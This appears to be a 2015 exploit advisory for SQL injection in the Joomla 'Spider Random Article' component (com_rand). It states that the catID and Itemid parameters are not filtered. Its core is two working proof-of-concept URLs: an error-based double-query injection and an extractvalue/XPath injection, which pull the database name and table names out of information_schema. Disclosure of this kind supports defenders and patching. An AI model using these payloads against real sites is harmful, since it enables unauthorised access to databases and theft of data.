Joomla! Component com_rand – SQL Injection
################################################################################################## #Exploit Title : Joomla Spider Random Article Component SQL Injection vulnerability #Author : Jagriti Sahu AKA Incredible #Vendor Link : http://demo.web-dorado.com/spider-random-article.html #Date : 22/03/2015 #Discovered at : IndiShell Lab #Love to : error1046 ^_^ ,Team IndiShell,Codebreaker ICA ,Subhi,Mrudu,Hary,Kavi ^_^ ################################################################################################## //////////////////////// /// Overview: //////////////////////// joomla component "Spider Random Article" is not filtering data in catID and Itemid parameters and hence affected by SQL injection vulnerability /////////////////////////////// // Vulnerability Description: /////////////////////////////// vulnerability is due to catID and Itemid parameter //////////////// /// POC //// /////////////// SQL Injection in catID parameter ================================= Use error based double query injection with catID parameter Injected Link---> Like error based double query injection for exploiting username ---> http://server/index.php?option=com_rand&catID=1' and(select 1 FROM(select count(*),concat((select (select concat(database(),0x27,0x7e)) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -&limit=1&style=1&view=articles&format=raw&Itemid=13 SQL Injection in Itemid parameter ================================= Itemid Parameter is exploitable using xpath injection http://server/index.php?option=com_rand&catID=1&limit=1&style=1&view=articles&format=raw&Itemid=13'and extractvalue(6678,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() LIMIT 0,1),0x7e ))-- - ################################################################################################### --==[[Special Thanks to]]==-- # Manish Kishan Tanwar ^_^ # |